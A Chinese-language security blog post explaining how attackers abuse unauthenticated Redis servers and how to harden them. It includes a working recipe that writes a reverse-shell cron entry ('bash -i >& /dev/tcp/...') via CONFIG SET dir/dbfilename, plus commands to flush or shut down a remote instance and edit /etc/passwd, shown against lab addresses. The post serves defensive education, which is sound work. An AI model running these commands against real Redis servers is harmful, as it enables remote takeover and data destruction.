博学笃行·盛德日新

黑客是如何对你的redis为所欲为的


黑客 redis

0x00 对于redis的认识误区

大家都说, redis做缓存很好, 而且可以将数据落地, 可以做主从高可用, 高性能的key-value数据库. 好, 那我们的项目中也把redis用起来吧, 毕竟时髦要跟上. 使用过程中, 才会发现redis也会有这么多坑呀.

  1. 缓存穿透问题
  2. redis因为做主从同步, 而一直在往磁盘写文件
  3. redis配置的内存太小了, 出现maxmemory问题
  4. 黑客入侵问题等

所有这些问题中, 黑客入侵问题是性质最严重的一个, 也是很多情况下被忽略了的.
会想着,我就用个redis, 都是一些缓存数据, 有什么安全可言呢? 大不了缓存没有了, 还有什么更大的后果么?
还有一些朋友, 以为我在阿里云的上ecs上搭建了一个redis, 阿里云就会帮我们把安全问题给解决了一样, 其实这个锅阿里云是不会帮运维背的. 那有些运维就更极端了, 好吧, 既然redis有安全问题, 那就要求开发不允许使用redis咯(呵呵呵, 不要笑, 真有这样的运维!)

微信截图

其实我们也不用对redis如此的恐惧, 只需要认真研究研究redis的原理和配置文件, 了解redis相关的特性, 建立一些基本的原则和规则, 还是可以很容易的阻止和防范黑客的攻击的.

0x01 黑客攻入进来后,可以做哪些事?

  • 清空redis的数据
  • 如果是web站点, 可以写webshell
  • 可以写定时任务
  • 可以写authorized_keys文件进行远程登录
  • 可以启动代理
  • 可以用来挖矿ss
  • 可以清空网站数据,进行勒索

0x02 那我们该如何进行防范呢?

  1. 正确的系统配置软件配置,及时更新系统补丁和软件补丁.
  2. 正确的登录配置和安全控制, 禁止root远程登录, 限制IP, 修改端口等.
  3. 正确的防火墙配置, 限制服务的ip和端口等.

0x03 redis数据被清空或者shutdown

# 对redis数据库进行清空
> redis-cli -h 192.168.56.7 -p 6379 flushall

# 把redis数据库进行远程关闭
> redis-cli -h 192.168.56.7 -p 6379 shutdown

# 不断调用keys指令对数据库进行遍历, 阻塞正常的redis指令执行
> redis-cli -h 192.168.56.7 -p 6379 keys "*"

# 直接通过`shutdown`指令把redis服务停止了.  

0x04 利用redis写文件的功能

现在redis比memcache越来越流行, 可能更多人看中的是,redis可以做主从, 可以做数据库的持久化.
redis数据的持久化主要通过两个方式: rdb和aof

redis的rdb持久化

  1. RDB方式,是将redis某一时刻的数据持久化到磁盘中,是一种快照式的持久化方法。
  2. redis在进行数据持久化的过程中,会先将数据写入到一个临时文件中,待持久化过程都结束了,才会用这个临时文件替换上次持久化好的文件。正是这种特性,让我们可以随时来进行备份,因为快照文件总是完整可用的。
  3. 对于RDB方式,redis会单独创建(fork)一个子进程来进行持久化,而主进程是不会进行任何IO操作的,这样就确保了redis极高的性能。
  4. 如果需要进行大规模数据的恢复,且对于数据恢复的完整性不是非常敏感,那RDB方式要比AOF方式更加的高效。
  5. 虽然RDB有不少优点,但它的缺点也是不容忽视的。如果你对数据的完整性非常敏感,那么RDB方式就不太适合你,因为即使你每5分钟都持久化一次,当redis故障时,仍然会有近5分钟的数据丢失。所以,redis还提供了另一种持久化方式,那就是AOF。

redis的aof持久化

  1. AOF,英文是Append Only File,即只允许追加不允许改写的文件。
  2. AOF方式是将执行过的写指令记录下来,在数据恢复时按照从前到后的顺序再将指令都执行一遍,就这么简单。
  3. 我们通过配置redis.conf中的appendonly yes就可以打开AOF功能。如果有写操作(如SET等),redis就会被追加到AOF文件的末尾。
  4. 默认的AOF持久化策略是每秒钟fsync一次(fsync是指把缓存中的写指令记录到磁盘中),因为在这种情况下,redis仍然可以保持很好的处理性能,即使redis故障,也只会丢失最近1秒钟的数据。
  5. 如果在追加日志时,恰好遇到磁盘空间满、inode满或断电等情况导致日志写入不完整,也没有关系,redis提供了redis-check-aof工具,可以用来进行日志修复。
  6. 因为采用了追加方式,如果不做任何处理的话,AOF文件会变得越来越大,为此,redis提供了AOF文件重写(rewrite)机制,即当AOF文件的大小超过所设定的阈值时,redis就会启动AOF文件的内容压缩,只保留可以恢复数据的最小指令集。举个例子或许更形象,假如我们调用了100次INCR指令,在AOF文件中就要存储100条指令,但这明显是很低效的,完全可以把这100条指令合并成一条SET指令,这就是重写机制的原理。
  7. AOF方式有点像mysql的二进制日志, 记录了每一次的变更操作. 可以很好的进行场景还原.
  8. 虽然优点多多,但AOF方式也同样存在缺陷: AOF文件要比RDB文件的体积大; AOF方式的恢复速度也要慢于RDB方式
  9. 如果纯做缓存的话, 没必要开放aof持久化

redis持久化写文件方式的前期准备

## 获取默认的redis目录、和rdb文件名:可以在修改前先获取,然后走的时候再恢复。
192.168.56.7:6379> config get dir
1) "dir"
2) "/mydata/redis-6379"
192.168.56.7:6379> config get dbfilename
1) "dbfilename"
2) "6379.rdb"

攻击的几种方法

1. 利用计划任务执行命令反弹shell

首先在自己的服务器上监听一个端口

> nc -l 7979 -vn

然后执行命令:

192.168.56.7:6379> flushall
OK
192.168.56.7:6379> set x "\n* * * * * bash -i >& /dev/tcp/192.168.56.1/7979 0>&1\n"
OK
192.168.56.7:6379> config set dir /var/spool/cron/
OK
192.168.56.7:6379> config set dbfilename root
OK
192.168.56.7:6379> save
OK

等待约1分钟后, 就可以从你的服务器上完全控制这个服务器了.

[root@c007 ~]# sed -i 's#/home/redis:/sbin/nologin#/home/redis:/bin/bash#g' /etc/passwd
<ome/redis:/sbin/nologin#/home/redis:/bin/bash#g' /etc/passwd

查看定时任务可以看到:

截图2

2. 修改authorized_keys文件, 直接ssh登录

原理和上面是类似的.

3. 可以写webshell

当我们获取到的redis使用不是高权限用户的账号, 只有普通用户权限, 我们该如何操作. 如果当前机器上有web服务的话,我们可以尝试写webshell

插图3

插图4

0x05 利用redis的lua脚本功能

  1. 通过redis调用lua的安全性漏洞
    redis 2.6版本的一个漏洞, 虽然禁用了lua的loadfile函数, 但开发者忘记把dofile函数禁用.
    具体的漏洞利用,可以查看这篇文章Trying to hack Redis via HTTP requests
    redis 3.2版本已修复该漏洞.

  2. 通过lua本身的漏洞
    同时通过lua的漏洞, 也可以进行相关的攻击. 详见文章

  3. redis lua子系统的最新漏洞修复
    redis作者对lua子系统进行的最新修复, Redis Lua scripting: several security vulnerabilities fixed

0x06 修改相关的redis指令

Redis的危险命令主要有:

  • flushdb 清空数据库
  • flushall 清空所有记录,数据库
  • config 客户端连接后可配置服务器
  • keys 客户端连接后可查看所有存在的键
  • shutdown 可以直接关闭redis服务

怎么禁用或重写redis的危险指令

作为服务端的redis-server,我们常常需要禁用以上命令来使服务器更加安全。
禁用的具体做法是,修改服务器的配置文件redis.conf,在SECURITY这一项中,我们新增以下命令:

rename-command FLUSHALL     ""
rename-command FLUSHDB      ""
rename-command CONFIG       ""
rename-command KEYS         ""
rename-command SHUTDOWN     ""

而如果想要保留命令,但是不能轻易使用,可以重命名命令来设定:

rename-command FLUSHALL     joYAPNXRPmcarcR4ZDgC81TbdkSmLAzRPmcarcR
rename-command FLUSHDB      qf69aZbLAX3cf3ednHM3SOlbpH71yEXLAX3cf3e
rename-command CONFIG       FRaqbC8wSA1XvpFVjCRGryWtIIZS2TRvpFVjCRG
rename-command KEYS         eIiGXix4A2DreBBsQwY6YHkidcDjoYA2DreBBsQ
rename-command SHUTDOWN     c7b14b6fcadb255321210c7830864f97dcDjoYA

这样重启服务器后,则需要用新命令来执行操作,否则服务器会报错 unknown command。

说明:对于FLUSHALL命令,需要设置配置文件中appendonly no,否则服务器无法启动

0x07 总结

  • 不要以root用户启动redis
  • redis不要对公网开放
  • 禁止非授权的redis访问(给redis配置一个密码)
  • 禁用或修改相关危险指令

0x08 参考

评论